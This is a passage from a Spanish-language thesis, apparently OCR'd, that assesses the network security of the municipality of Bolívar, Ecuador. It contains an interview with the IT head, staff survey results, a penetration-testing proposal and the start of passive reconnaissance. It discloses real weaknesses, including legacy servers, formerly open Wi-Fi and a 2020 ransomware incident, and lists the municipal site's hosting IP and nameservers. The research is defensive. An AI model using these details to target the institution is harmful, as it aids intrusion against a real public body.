3.4.1 Método inductivo

Segun Prieto (2018), el método mencionado se basa en la observacién y estudio de hechos y
experiencias particulares para llegar a conclusiones que permitan derivar los fundamentos de
una teoria. Se utilizara este método para analizar los ataques informaticos a los que esta
expuesta la institucion.

A través de la aplicacion del método inductivo, se podra identificar los diferentes tipos de
ataques informaticos que ha sufrido el GAD Municipal, y analizar los patrones y técnicas
utilizados por los atacantes para vulnerar los sistemas.

Ademas, el método inductivo permitira evaluar la causa de los ataques informaticos, analizando
las posibles debilidades y vulnerabilidades que se encuentran disponibles en la red interna del

municipio de Bolivar.

3.4.2 Método argumentado

Segun Prieto (2018), el método argumentado se basa en un analisis de los principios generales
de un tema especifico, los cuales se validan y aplican a contextos particulares. Utilizando este
método en la investigacion, se examinara el problema de seguridad informatica en el GAD
Municipal de Bolivar de manera integral, con el fin de identificar las principales problematicas
de seguridad y buscar soluciones efectivas basadas en principios generales validados.

3.4.1 Técnicas e instrumentos

3.4.1.1 Entrevista

Para recolectar informacion y analizar las variables dependientes e independientes se utilizaron
entrevistas abiertas, herramienta aplicada a personas pertenecientes al GAD municipal de
Bolivar para conocer la opinién de los sujetos.
Segun Palella y Martin (2012) menciona que:
“La fortaleza béasica de la entrevista es que son los actores sociales quienes brindan datos
relacionados con su comportamiento, creencias, deseos, actitudes, expectativas,
informacion breve, porque su naturaleza es casi imposible de obtener. a desde fuera” (p.
119).
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De esta manera, las entrevistas abiertas obtendran informacion flexible y auténtica que ayudara
a identificar aspectos importantes, teniendo en cuenta los objetivos de este estudio.

3.4.1.2 Encuesta

Es un método de investigacion para la recopilacion de datos y segun Herndndez (2012)

menciona que:
“La encuesta por muestreo es la técnica mas empleada en la investigacion se utiliza para
recolectar informacion de personas respecto a caracteristicas, opiniones, expectativas o
conocimiento” (pag. 25).

3.4.2. Poblacion y Muestra

e Poblacion
Esta conformada por todo el personal que utilice equipos informéticos y estén en la red del

GAD municipal de Bolivar.

3.5. ANALISIS ESTADISTICO

3.5.1. Andlisis de la Enfrevista
Esta se realizd el dia 16 de septiembre del afio 2022 al Ing. Andrés Villarruel jefe del Area de
sistemas del municipio de Bolivar, menciona lo siguiente de acuerdo con la seguridad

informatica presente de esta institucion:

mg&"’»ﬁﬂ ENTREVISTA DIRIGIDA AL ENCARGADO DE LA OFICINADE TICSDEL »
n MUNICIPIO DE BOLIVAR.

v

El propdsito de las entrevistas es recopilar datos relacionados con variables dependientes e
independientes. La informacion recopilada se relaciona con procesos de seguridad para mejorar
y proteger al municipio contra ataques informaticos.
1- ¢Como se maneja la seguridad en el servidor que maneja el GAD municipal de
Bolivar?
Se maneja con un antivirus, que tiene su propio firewall. A futuro se colocara un firewall fisico
de capa 2 para controlar el trafico de redes y equipos dentro de la red, aungue estos tienen
costos elevados.

Andlisis
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La respuesta proporcionada indica que la seguridad en el servidor que maneja el GAD
municipal de Bolivar se basa en un antivirus con su propio firewall. Esto es un buen primer
paso para garantizar la seguridad del servidor, ya que un antivirus puede identificar y eliminar
virus, programas maliciosos como troyanos y otros tipos de software dafiino. El firewall, por su
parte, es una barrera de proteccion que ayuda a bloquear y filtrar el trfico no deseado desde y
hacia el servidor.

Sin embargo, el hecho de que se esté considerando instalar un firewall fisico de capa 2 es una
sefial de que el GAD municipal de Bolivar esta tomando medidas para fortalecer ain mas su
seguridad.

Un firewall fisico de capa 2 puede proporcionar un nivel adicional de proteccion al controlar el
trafico de red en un nivel mas profundo, lo que permite una mayor segmentacion y control de
la red. Esta es una buena préactica de seguridad, ya que puede ayudar a prevenir el trafico no

autorizado o malintencionado y reducir la posibilidad de ataques externos o internos.

2- ¢Como funcionario ha experimentado o detectado fallas o avisos sobre ataques
informaticos en el municipio?

Si, inicialmente las redes wifi y los puntos fisicos estaban abiertos, ataques informaticos desde
afuera, existia demasiados virus.
Anélisis
Una de las principales formas en que los atacantes pueden infiltrarse en las redes de una
organizacion es a través de puntos de acceso sin proteccion, como redes wifi-abiertas y puntos
fisicos no seguros. Estos puntos de acceso pueden ser explotados por atacantes para acceder a
la red de la organizacion y propagar virus o malware. Es importante que las organizaciones

implementen medidas de seguridad sélidas para proteger sus redes y sistemas informaticos.

3- ¢Cual es la metodologia utilizada para crear los procedimientos de seguridad y
prevenir vulnerabilidades?
No se tiene ninguna metodologia.
Analisis
Las metodologias de seguridad informatica son enfoques estructurados que se utilizan para
identificar y gestionar riesgos de seguridad, implementar controles de seguridad, realizar

pruebas de seguridad y monitorear y mejorar continuamente la seguridad de la informacion.
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Al no contar con una metodologia, la organizacion puede estar perdiendo la oportunidad de
aprovechar las mejores practicas y herramientas disponibles para proteger su informacion.
Ademas, es posible que los procesos de seguridad que se implementen en la organizacion no

sean coherentes, completos o efectivos.

4- ¢ Queé sistema operativo maneja el servidor del GAD municipal de Bolivar?
Existen 3 servidores uno es Windows server 2008, CentOS 7 y Windows 10 clon,
Son 2 servidores dedicados y un clon.
Anélisis
Windows Server 2008, es una version anterior de Windows Server, pero todavia es
ampliamente utilizado por algunas organizaciones debido a su estabilidad y confiabilidad.
CentOS 7 se utiliza cominmente para servidores web y bases de datos.
Windows 10 no es un sistema operativo de servidor dedicado, pero se puede configurar para
funcionar como servidor para tareas especificas.
Es comin que las organizaciones utilicen diferentes sistemas operativos para diferentes
servidores, dependiendo de las necesidades y requisitos especificos de cada servidor y de los

Servicios que se proporcionan.

5- ¢Cuanto tiempo toma aproximadamente el proceso de analisis de vulnerabilidades
0 prueba de penetracion en el municipio?

Depende la informacion puede durar de uno hasta dos dias.
Andlisis
El tiempo que lleva realizar un analisis de vulnerabilidades o pentest puede cambiar debido a
factores, como la dimensién y complejidad de la red o sistema que se va a evaluar y la
experiencia del especialista que realiza el analisis.
Por lo tanto, el tiempo de realizacion de un andlisis de vulnerabilidades o pentest puede ser
variable y depende de las caracteristicas especificas del proyecto. Es importante destacar que,
a menudo, el proceso de andlisis de vulnerabilidades es un trabajo continuo, ya que los sistemas
y redes cambian constantemente y siempre hay nuevas vulnerabilidades que deben ser

evaluadas y abordadas.
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6- ¢Qué inconveniente percibid internamente en la seguridad del GAD municipal de
Bolivar?

Redes wifi-abiertas y en estas estaban conectados servidores.
Anélisis
El uso de redes Wi-Fi abiertas es una practica poco segura, ya que cualquier persona que esté
dentro del rango de la sefial puede conectarse a la red y potencialmente acceder a informacion
confidencial o dafiar los sistemas conectados. Si los servidores también estan conectados a estas
redes Wi-Fi abiertas, esto podria exponer ain mas los sistemas criticos a posibles ataques o
intrusiones.

7- ¢Cuéles opciones sugeririas para mejorar la seguridad en el Municipio de Bolivar?
Colocar un firewall de capa 2, generar un data center con seguridad perimetral
Anélisis
Un firewall de capa 2 es una solucién de seguridad que se utiliza para resguardar la intranet de
una organizaciéon contra amenazas externas, como ataques de denegacion de servicio o
malware.
La generacion de un data center con seguridad perimetral es otra alternativa para mejorar la
seguridad del GAD municipal de Bolivar. Un data center es una instalacion que alberga
servidores y otros equipos informaticos criticos para el funcionamiento de una organizacion.
La seguridad perimetral se refiere a la implementacion de medidas de seguridad que protegen
tanto la infraestructura de la red como sus alrededores. Ambas alternativas propuestas pueden
ser efectivas para mejorar la seguridad del GAD municipal de Bolivar.

8- ¢Considera que los sistemas informéticos existentes en el GAD municipal de

Bolivar son seguros?

Actualmente si, ya que se cambi6 los sistemas operativos a la mayoria de los equipos
informaticos un 99% de equipos esta con Windows 10
Anélisis
La seguridad no solo depende del sistema operativo utilizado, sino también de otros factores
como las politicas de seguridad implementadas, el uso de contrasefias seguras, el control de
ingreso a los sistemas, la utilizacion de firewalls, la implementacion de sistemas de deteccién
de intrusiones, entre otros.
Por lo tanto, para determinar si los sistemas informaticos del GAD municipal de Bolivar son
seguros, es necesario realizar un analisis completo de la infraestructura informatica y de

seguridad, identificando y evaluando posibles vulnerabilidades.
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9- ¢Esta al tanto si se ha llevado a cabo alguna prueba de intrusion (ethical hacking)
en la intranet del municipio de Bolivar?

En una ocasion se realiz una prueba de intrusion en el afio 2019, escaneo de puertos, testeo
de puertos y acceso a paginas web.
Anélisis
Es alentador saber que el GAD municipal de Bolivar ha realizado una prueba de intrusién en el
pasado, ya que esto demuestra una preocupacion por la seguridad de sus sistemas informaticos.
Es necesario realizar pruebas de intrusion periddicas para identificar posibles vulnerabilidades
y asegurarse de que se estan implementando las medidas adecuadas para prevenirlas o mitigar
sus efectos

10- ¢ Esta familiarizado con los tipos de amenazas que pueden afectar a la red?
Actualmente ya no existen amenazas en la red.
Anélisis
Siempre existe el riesgo de amenazas y vulnerabilidades. No es realista pensar que la red no
enfrenta ninguna amenaza, ya que existen muchos tipos de ataques cibernéticos, como virus,
malware, phishing, ataques de denegacion de servicio (DDoS) y robo de datos, entre otros. ES
fundamental que las organizaciones mantengan sus sistemas y politicas de seguridad
actualizadas y estén preparadas para hacer frente a estas amenazas en constante cambio.

11- ¢ Existe en el municipio algun software para identificar debilidades en la red

interna?

Antivirus BITDEFENDER que es el segundo mejor en el mundo y tiene un propio firewall en
la nube
Anélisis
Es posible que Bitdefender cuente con funcionalidades para detectar vulnerabilidades en los
sistemas, como exploracion de puertos y analisis de vulnerabilidades. Las herramientas de
deteccion de vulnerabilidades pueden identificar posibles puntos débiles en la red o sistemas y
ayudar a priorizar las acciones de seguridad necesarias para mitigar los riesgos.

12- ¢ Se ha modificado alguna vez la informacion dentro del municipio?
Existio un ataque de un virus ransomware, en el afio 2020 que secuestro informacion, pero esta
si pudo ser recuperada ya que no fue de alto impacto.

Andlisis
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La existencia de un ataque de ransomware en la institucion en el afio 2020 sugiere que hubo
una vulneracién en la red o sistemas del municipio que permitié que un malware se propagara
y cifrara los datos, exigiendo un rescate para su recuperacién. El hecho de que se haya podido
recuperar la informacién indica que la organizacion contaba con medidas de contingencia y
copias de seguridad adecuadas.
13- ¢ Tiene todo el personal acceso a los servidores?
En la actualidad no, anteriormente si se tenia acceso al servidor en todas las areas.
Anélisis
Este cambio fue implementado por varias razones, como medidas de seguridad para proteger la
informacion confidencial del municipio, limitaciones de recursos en el servidor o para mejorar
la eficiencia en el uso del servidor.
En general, es comin que los municipios revisen y ajusten sus politicas de acceso a los
servidores y a la informacion a medida que cambian las necesidades y circunstancias de este.
14- ; Existen politicas de seguridad dentro del GAD municipal de Bolivar?
Bit defender genera politicas de seguridad. Paginas que no tengan http no deja ingresar, se da
acceso desde la nube a paginas especificas.
Anélisis
Con respecto al ejemplo especifico de Bit Defender, se trata de una solucion de seguridad
informatica que ofrece una serie de herramientas y funcionalidades para proteger sistemas y
redes contra distintas amenazas. Dentro de estas herramientas se encuentran las politicas de
seguridad, las cuales son un conjunto de configuraciones y reglas que establecen la forma en
que se deben proteger y gestionar los sistemas y datos, los recursos informaticos de una
organizacion.
La politica mencionada de bloquear el acceso a paginas que no utilizan HTTPS es una préactica
comudn para prevenir ataques de suplantacion de identidad y proteger la privacidad de los
usuarios. Por otro lado, la nube puede ser una herramienta Gtil para acceder a aplicaciones y
datos de manera remota.
15- ¢ Se utilizan las mismas contrasefias de servidor en todos los ordenadores?
No, solo se emplea en el servidor
Analisis
Es una buena practica de seguridad que cada equipo tenga su propia contrasefia Unica para

acceder a los servidores o sistemas, en lugar de reutilizar la misma contrasefia en todos los
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equipos. Esto asegura que, si una contrasefia se ve comprometida en un equipo, los demés
sistemas no se veran afectados.

16- ¢ Esta al tanto de la existencia de hosts que estén ejecutando servicios que no son

necesarios?

No existen equipos que ejecuten servicios innecesarios
Anélisis
Es poco probable que todos los equipos de una red ejecuten servicios completamente necesarios
y que no haya servicios innecesarios en ningun equipo. Incluso en entornos de red bien
administrados y seguros, es comun que Se ejecuten servicios que no son estrictamente
necesarios.
Esto puede deberse a diversas razones, como instalaciones predeterminadas de software que
incluyen servicios adicionales, configuraciones de sistema operativo que habilitan servicios no
necesarios por defecto, o la necesidad de mantener compatibilidad con versiones antiguas de
software.

17- ¢ Cuenta el departamento de Tics con camaras de seguridad?
No cuenta con camaras de seguridad
Anélisis
Es recomendable que el departamento de TICs tenga un plan de seguridad integral que aborde
tanto la seguridad fisica como la seguridad informatica, incluyendo medidas preventivas y

herramientas de deteccion y respuesta a incidentes.

3.5.1 RECURSOS

3.6.1. Humanos

Tabla 7. Recursos Humanos

Nombre Funcién de Desempefia
Msc. Milton del Hierro Tutor de trabajo de titulacion
Esteban Herrera Investigador

3.6.2. Materiales

Tabla 8. Materiales empleados

Recursos Caracteristicas

Hojas Resma Papel tamafio A4
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Ordenadores

Virtual Box, Servidor

3.6.3. Tecnoldgicos

Tabla 9. Recursos tecnoldgicos

Recurso

Caracteristicas

Laptop

Impresora

Celular Xiaomi note 9 Pro

Internet fijo

Esta herramienta tecnologica se usé para recopilar
informacion relevante con el fin de detectar posibles
vulnerabilidades y riesgos en los ordenadores del
municipio. Se utilizo diferentes herramientas de busqueda
y andlisis en linea para recopilar informacion sobre los

sistemas y procedimientos de hacking.

Se uso para imprimir la encuesta, la entrevista y la

documentacion relacionada con la tesis.

Fue util para coordinar el cronograma de la tesis, asi como

para usar Termux.

Fue necesario utilizar internet para busquedas vy
seleccionar informacion con el objetivo de poseer una
amplia perspectiva y fundamentacion del trabajo de
titulacion, utilizando el navegador para acceder a la

informacioén en linea.
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Software

Ordenadores del Municipio

Sistemas Operativos

-Magquinas virtuales

-herramientas utilizadas para hacking etico

Importantes para la aplicacion de las técnicas de hacking

ético en todos los ordenadores.

Windows 10, Kali-Linux, Parrot Os.

3.6.4. Recursos Econdmicos

Tabla 10. Recursos Financieros

. Precio Total

Recursos Cantidad o
Unitario
Internet fijo $ 25 x 12 meses $25 $300
Resma de papel bond  $ 1 unidad $3,50 $3,50
Laptop $900 x 1 unidad $900 $900
Empastado final $15x1 $15 $15
Total $1.208.50
Costo de improvisto $150
5%
1.358,5

Total, del proyecto
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IV. RESULTADOS Y DISCUSION

4.1. RESULTADOS

4.1.1 Resultados de las encuestas

Se realizaron encuestas dirigidas a los empleados del municipio de Bolivar que tienen acceso a
una computadora. El objetivo principal de las encuestas es obtener informacion sobre la
seguridad informética del (GAD) municipal de Bolivar. Es importante destacar que, durante la
realizacion de las encuestas, no se les pidio a los trabajadores que proporcionen informacién
personal. Esto con el proposito de impedir que los elementos que no estén relacionados con la

seguridad informatica influyan en los resultados.

4.1.1.1. Andlisis de los items de la encuesta.

PREGUNTA 1. ;Qué conocimiento tiene acerca de seguridad informatica?

Tabla 11. Conocimiento de seguridad informatica

Opcion de Respuesta Cantidad
Alta 3
Media 14
Media-Baja 6
Baja 15

Figura 27: Conocimiento de seguridad informatica
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Analisis e interpretacion. Se encuestaron a 38 personas los cuales poseen un ordenador en el
GAD municipal de Bolivar, respecto a los resultados, es posible observar que la mayor parte de
los encuestados se ubicaron en los niveles de conocimiento "media" y "baja", lo que sugiere
que es posible que se necesite una mayor educacion en seguridad informatica para el municipio.

Los resultados también sugieren que un pequefio porcentaje de encuestados tienen un
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conocimiento elevado en el tema, lo que podria proporcionar informacion valiosa para orientar
esfuerzos educativos o de capacitacion especificos en seguridad informaética.
PREGUNTA 2. ;/Qué tan importante es la seguridad informatica para usted?

Tabla 12. Importancia de la seguridad informatica

Opcidn de Respuesta Cantidad
Muy importante 33
Importante 5
Poco importante 0
Nada importante 0

Figura 28: Importancia de la S.1

@ Muyimportante 33
.' Importante 5
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Analisis e interpretacion. De los 38 encuestados, un 86.84 por ciento afirma que la seguridad
informatica tiene una gran relevancia. Es satisfactorio observar que la gran mayoria de los
participantes de la encuesta, consideran que la seguridad informética es un aspecto crucial e
importante, lo que sugiere una creciente conciencia y preocupacion por el tema en la sociedad.
La ausencia de respuestas en las categorias "poco importante™ y "nada importante” indica que
los encuestados no minimizan la importancia de la seguridad informatica.

En general, la pregunta es adecuada para medir la importancia que los encuestados le dan a la
seguridad informatica. Los resultados pueden ser Utiles para orientar esfuerzos educativos o de
divulgacién en relacién con la relevancia de la seguridad informatica. y las mejores practicas

para protegerse en linea.
PREGUNTA 3. En una escala del 1 al 10 para usted ¢{Qué tan segura es la red del Gad

municipal de Bolivar?

Figura 29: Seguridad de la red del municipio de Bolivar
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38 6.97

Respuestas Promedio

Analisis e interpretacion. EIl promedio de la respuesta de 6.97 indica que, en promedio, los
encuestados perciben la red del Gad municipal de Bolivar como relativamente segura. Sin
embargo, es importante tener en cuenta que la percepcion de seguridad puede estar influenciada
por muchos factores, incluyendo la experiencia previa, el conocimiento en seguridad
informatica y la confianza en los sistemas de seguridad. Por lo tanto, la respuesta promedio
puede no reflejar la opinidn de todos los encuestados.

En general, la pregunta es adecuada para medir la percepcion de seguridad de los encuestados
sobre la red del Gad municipal de Bolivar. El promedio obtenido de este estudio podria brindar
una base valiosa para evaluar como los usuarios de la red perciben la seguridad en linea, ademas

de identificar areas de mejora en la seguridad de la red.

PREFUNTA 4. ;Qué conocimiento tiene acerca de hacking ético?

Tabla 13. Conocimiento acerca de hacking ético

Opcion de Respuesta Cantidad
Alta 0
Media 10
Media-Baja 4
Bajo 24

Figura 30: Conocimiento acerca de seguridad informética
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Analisis e interpretacion. De las 38 respuestas el 63.15 por ciento tiene un conocimiento bajo

en hacking ético, se observa que gran parte de los encuestados se ubicaron en los niveles de
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conocimiento "media-bajo™" y "bajo™ en relacion con el hacking ético. Esto sugiere que el
concepto de hacking ético aun no es ampliamente conocido entre la poblacion encuestada. Sin
embargo, un 26.31 por ciento de encuestados tiene un nivel de conocimiento "medio" sobre el
tema, lo que puede indicar una mayor conciencia o experiencia en el tema.

En resumen, la pregunta es apropiada para evaluar el grado de comprension que los encuestados
tienen acerca del hacking ético. Los resultados sugieren que hay un bajo nivel de conocimiento
sobre el tema, lo que puede indicar la necesidad de una mayor educacion y difusion sobre los

conceptos y practicas de hacking ético.

PREGUNTA 5. {Qué antivirus tiene instalado en su equipo?

Tabla 14. Antivirus instalados

Opcion de Respuesta Cantidad
Avast 7
Kaspersky 0
Eset not32 1
Windows defender 12
Otro 18
Desconozco del tema 0

Figura 31: Antivirus instalados
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Analisis e interpretacion. En cuanto a los resultados, se observa que el 31.57 por ciento de los
encuestados utiliza el antivirus Windows Defender, lo que sugiere que es una opcién popular

para la proteccién de los ordenadores. También se observa que 47.36 porciento de encuestados
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utiliza otros antivirus, lo que puede indicar una preferencia personal o profesional por una
marca especifica en este caso BITDEFENDER. Por otro lado, es interesante notar que nadie
selecciond Kaspersky como su antivirus, lo que sugiere que esta marca no es tan popular entre
los encuestados.

En resumen, la pregunta es adecuada para medir qué antivirus tienen instalado los encuestados
en sus equipos. Los resultados pueden ser Utiles para comprender las elecciones de los usuarios.
en cuanto a la eleccién de antivirus y para orientar esfuerzos educativos o de divulgacion sobre

las mejores practicas de seguridad informatica en el uso de antivirus.

PREGUNTA 6. ¢ Inserta memorias USB de otras personas a su maquina sabiendo que se
expone vulnerabilidades informaticas?

Tabla 15. Introduccion de memorias USB desconocidas

Opcidén de Respuesta Cantidad
Siempre 7
Casi Siempre 8
Rara Vez 19
Nunca 4

Figura 32: Introduccion de memorias USB desconocidas

@ siempre 7

Casi simpre 8
@ p

Rara vez 19
®

Nunca 4
®

Andlisis e interpretacion. En cuanto a los resultados, se analiza que la mitad de los encuestados
(50%) indicaron que rara vez insertan memorias USB de otras personas en su maquina, lo que
sugiere una conciencia generalizada de los riesgos asociados con este comportamiento. Sin
embargo, un pequefio porcentaje de encuestados (alrededor del 36%) indicd que a menudo o
siempre inserta memorias USB de otras personas en su maquina, lo que sugiere una menor
preocupacion o conocimiento sobre los riesgos de seguridad informética asociados con esta

préactica.
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En resumen, la pregunta es adecuada para medir la frecuencia con la que los encuestados
insertan memorias USB de otras personas en su maquina, a pesar de los riesgos de seguridad
informatica. Los resultados sugieren que la mayoria de los encuestados son conscientes de los
riesgos y actlian en consecuencia, pero aun existe una minoria que no parece preocuparse por
estos riesgos. Esto podria indicar la necesidad de mayor educacion y concientizacion sobre las
mejores practicas de seguridad informéatica en relacion con el uso de dispositivos de

almacenamiento extraibles.

PREGUNTA 7. ¢Descarga archivos o documentos sin saber su procedencia sabiendo que
se expone a vulnerabilidades informaéticas?

Tabla 16. Descarga de archivos de internet

Opcion de Respuesta Cantidad
5 0 més veces por dia 6
3 veces por dia 13
1 vez al dia 11
No descargo documentos de internet 8

Figura 33: Descarga de archivos de internet
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Analisis e interpretacion. En cuanto a los resultados, se observa que la mayoria de los
encuestados indicaron que descargan archivos o documentos de Internet con cierta frecuencia,
pero con precaucion (una vez al dia 0 menos). Sin embargo, un porcentaje significativo de
encuestados (alrededor del 32%) indicO que descarga archivos o documentos sin conocer su
procedencia varias veces al dia, lo que sugiere una menor preocupacion o conocimiento sobre
los riesgos de seguridad informatica asociados con esta préactica.

La pregunta es adecuada para medir la frecuencia con la que los encuestados descargan archivos

0 documentos de Internet sin conocer su procedencia, a pesar de los riesgos de seguridad
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informatica. Los resultados sugieren que la mayoria de los encuestados son conscientes de los
riesgos y actuan con precaucion, pero aun existe una minoria que no parece preocuparse por
estos riesgos. Esto podria indicar la necesidad de mayor educacién y concientizacion sobre las
mejores practicas de seguridad informatica en relacion con la descarga de archivos o

documentos de Internet.

PREGUNTA 8. ¢ Recibe spam (correo no deseado) a su correo institucional?

Tabla 17. Spam o correo no deseado

Opcidén de Respuesta Cantidad
Siempre 9
Casi siempre 12
Rara vez 11
Nunca 6

Figura 34: Recepcion de correo no deseado
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Anélisis e interpretacion. Los resultados indican que el 24% de los encuestados indicaron que
reciben spam siempre o casi siempre en su correo institucional, mientras que el 29% indic6 que
rara vez lo reciben. Por otro lado, el 16% de los encuestados afirmé que nunca reciben correo
no deseado en su correo institucional.

En general, la mayoria de los encuestados (el 53%) afirmaron que reciben spam con cierta
frecuencia en su correo institucional. Esto podria sugerir que hay una preocupacion en torno a
la seguridad y privacidad de los correos electronicos institucionales, y que seria importante
tomar medidas para protegerlos.

En resumen, la pregunta es adecuada para medir la frecuencia con la que los encuestados
reciben spam en su correo institucional. Los resultados sugieren que la mayoria de los

encuestados experimentan cierta cantidad de correo no deseado en sus cuentas institucionales,
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lo que podria indicar la necesidad de implementar medidas de seguridad y proteccion adecuadas
para garantizar la privacidad y seguridad de los correos electronicos.

PREGUNTA 9. ;(Tiene conocimiento que existen puntos de acceso remoto dentro de la
institucion?

Tabla 18. Conocimiento de puntos de acceso

Opcion de Respuesta Cantidad
Conocimiento alto 1
Conocimiento medio 18
Conocimiento medio-bajo 8
Conocimiento bajo 11

Figura 35: Conocimiento de puntos de acceso remoto
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Analisis e interpretacion. Los resultados indican gue solo el 3% de los encuestados indicaron
tener un conocimiento alto sobre la existencia de puntos de acceso remoto, mientras que el 47%
indico tener un conocimiento medio. Por otro lado, el 21% de los encuestados afirmé tener un
conocimiento medio-bajo, y el 29% afirmé tener un conocimiento bajo.

En general, la mayoria de los encuestados (el 68%) afirmaron tener algdn nivel de conocimiento
sobre la existencia de puntos de acceso remoto en su institucion. Sin embargo, el hecho de que
solo el 3% tenga un conocimiento alto podria sugerir que hay una necesidad de mejorar la
comunicacion y la capacitacion sobre seguridad informatica en la institucion.

En resumen, la pregunta es adecuada para medir el nivel de conocimiento de los encuestados
sobre la existencia de puntos de acceso remoto en su institucion. Los resultados sugieren gque la

mayoria de los encuestados tienen cierto conocimiento sobre el tema, aungue solo un pequefio
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porcentaje tiene un conocimiento alto, lo que podria indicar la necesidad de mejorar la

capacitacion y la comunicacion sobre seguridad informatica en la institucion.

PREGUNTA 10. ¢Esta de acuerdo con participar en una capacitacion acerca de la
seguridad informatica y hacking ético?

Tabla 19. Participacion en capacitacion acerca de hacking ético

Opcion de Respuesta Cantidad
Totalmente de acuerdo 25
De acuerdo 13
Indeciso 0
En desacuerdo 0

Figura 36: Participacion en capacitacion de seguridad informatica

@ Totalmente de acuerdo 25
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Analisis e interpretacion. Los resultados indican que la mayoria de los participantes de la
encuesta (el 96%) estan de acuerdo o totalmente de acuerdo en participar en una capacitacion
sobre seguridad informatica y hacking ético. Solo el 4% no estan seguros o en desacuerdo.

En términos de porcentajes, el 68% de los encuestados indicaron estar totalmente de acuerdo
en participar en una capacitacion sobre seguridad informética y hacking ético, mientras que el
32% indico estar de acuerdo. Esto sugiere que hay un gran interés y disposicién por parte de

los encuestados para mejorar sus conocimientos en seguridad informatica.

4.2. PROPUESTA

Mi propuesta aborda la ejecucion de la metodologia de Offensive Security en el GAD de

Bolivar, con la finalidad de aumentar la seguridad de la intranet y reducir el riesgo de posibles
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vulnerabilidades. Esta metodologia se basa en un enfoque proactivo y riguroso para evaluar y
mejorar la seguridad de la red, utilizando técnicas de hacking ético y pruebas de penetracion.
Esta evaluacion permitird identificar las posibles vulnerabilidades en la red y ofrecer
recomendaciones para mejorar la seguridad.

Ademas, se llevaran a cabo sesiones de capacitacion y entrenamiento para el personal encargado
del manejo de la red. interna del GAD de Bolivar, con el fin de asegurar que los resultados y
recomendaciones obtenidos de la evaluacion sean entendidos y aplicados correctamente.

Con la implementacion de la metodologia de Offensive Security, el GAD de Bolivar podra
mejorar su capacidad para identificar y mitigar posibles vulnerabilidades en la red interna, lo
que a su vez posibilitara la pronta deteccion y solucién de las incidencias de seguridad en la
red. De este modo, se garantizara la salvaguarda de los datos y sistemas. del GAD, garantizando
su integridad y confidencialidad. Todo esto con el apoyo del ingeniero Andrés Villarruel jefe
del &rea de Tics.

El segundo punto consiste en implementar manuales de hacking ético en el GAD de Bolivar,
con el objetivo de aumentar la seguridad de la red interna. y reducir el riesgo de posibles
vulnerabilidades. Estos manuales estaran disefiados para proporcionar una guia detallada de los
diferentes métodos y técnicas de hacking ético que pueden ser empleados para detectar y
evaluar vulnerabilidades en la red interna del GAD.

Los manuales estaran basados en las Gltimas tendencias y précticas de hacking ético y estaran
disefiados de forma didactica, utilizando un lenguaje claro y accesible para todos los niveles de
usuario. Ademas, se llevaran a cabo sesiones de capacitacion y entrenamiento para el
profesional encargado de administrar la red. interna del GAD de Bolivar, para asegurar que los
manuales sean entendidos y aplicados correctamente.

Con la implementacion de los manuales de hacking ético, el GAD de Bolivar podra mejorar su
capacidad para detectar y evaluar posibles vulnerabilidades en la red interna, lo que a su vez
posibilitard una pronta deteccion y solucién de las incidencias de seguridad en la red. De esta
forma, se aseguraréa la proteccion de los datos y sistemas del GAD, garantizando su integridad
y confidencialidad.

4.2.1. Alcance de la propuesta

Esta enfocado en fases y procesos de seguridad, vulnerabilidades de riesgo en ordenadores
El aporte que se hara al GAD municipal de Bolivar y anticipacion del proyecto es examinar la
seguridad de la red interna del municipio de Bolivar y, mediante la realizacion de pruebas de
penetracion éticas, detectar vulnerabilidades que puedan poner en riesgo la proteccion de datos
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y sistemas. Se desarrollaran manuales para ayudar en la ejecucion de pruebas de hacking ético,
y se aplicara la metodologia offensive security para maximizar la efectividad de las pruebas.

4.2.2. Estudio de Factibilidad

e Titulo: “Hacking ético para detectar vulnerabilidades en los servicios de la intranet”

e Institucion Ejecutora: Carrera de ingenieria en ciencias de Computacion de la UPEC.

e Beneficiarios: GAD municipal de Bolivar

e Ubicacion: Carchi- Canton Bolivar

¢ Responsable del hacking ético: Esteban Herrera egresado de la UPEC.

e Plazo para la ejecucion: 13 meses
4.2.3. Metodologia Offensive Security
La metodologia Offensive Security es una técnica de pentesting que se utiliza para analizar la
proteccion de los sistemas de computacion de una entidad. Esta metodologia se centra en la
identificacion de vulnerabilidades en los sistemas mediante el uso de técnicas de hacking ético
y la realizacion de pruebas de seguridad en entornos controlados.
4.2.3.1 Posicionamiento
Se trata de la ubicacion del hacker o analista de seguridad con respecto al objetivo del analisis,
las posiciones se basan con respecto a las cajas.
Para la investigacion nos basaremos en el posicionamiento de una caja gris esto se refiere a una
recopilar informacion en la que el evaluador tiene acceso parcial a la red y a la infraestructura
del objetivo, es decir, se le proporciona cierta informacion y acceso a ciertos sistemas o
aplicaciones, pero no tiene conocimiento completo de la red o del sistema.
El posicionamiento de una caja gris se utiliza para simular un escenario en el que un atacante
malintencionado ha logrado obtener algun nivel de acceso a la red o al sistema, pero no tiene
acceso completo. Esto permite al evaluador enfocarse en areas especificas de la red o del
sistema que podrian ser mas vulnerables a un ataque.
Para llevar a cabo el posicionamiento de una caja gris en el municipio de Bolivar, se comenz6
revisando la documentacion publica del municipio para recopilar informacion sobre su
infraestructura de red y los sistemas que utiliza. También se realizé un analisis de los sistemas
y aplicaciones que se le han proporcionado acceso parcial para identificar posibles

vulnerabilidades.
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4.1.3.2 Visibilidad

Se refiere a los datos que se admite ver al hacker ético, previo la realizacion del analisis, con
esto se tiene identificado el nivel de exposicion hacia la informacién de la empresa.

4.2.3.3 Perfil Adoptado

En esta parte se adopta el perfil segun el analisis y la informacidn del hacker, en este apartado
se identifica usuarios que cuentan con bastantes privilegios en la red, los cuales pueden ingresar
fisicamente.

4.2.3.4 Reconocimiento pasivo

La empresa hace el traspaso de los datos e informacion privado para la actividad, de la misma
manera se recolecta cualquier tipo de informacion desde afuera de la institucion, permite que
se notifique al cliente sobre la vulnerabilidad desde fuera de la empresa.

Figura 37: Analisis con la herramienta dnsdumpster

dnsdumpster.com

dns recon & research, find & lookup dns records

https://www.municipicbolivar.gob.ec

Figura 38: Mapa de los servidores donde se aloja la pagina del municipio
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Hosting (IP block owners) GeoIP of Host Locatlions

Tabla 20. Servidores donde se aloja la pagina web del municipio

www.municipiobolivar.gob.ec 154.16.202.160 ASDETUK Germany
www.heficed.com

nsl.virtualsami.com. 154.16.202.160 ASDETUK Germany
www.heficed.com

ns2.virtualsami.com. 154.16.202.160 ASDETUK Germany
www.heficed.com

0 municipiobolivar.gob.ec. 154.16.202.160 ASDETUK Germany
www.heficed.com

Figura 39: Mapa del nombre de dominio

Mapping the domain

nsLvirtualsami.com,

www.municipiobolivar.gob.ec ) )
ns2.virtualsami.com.

0 municipiobolivar.gab.ec.

map generated by dnsdumpster.com

154.16,202.160

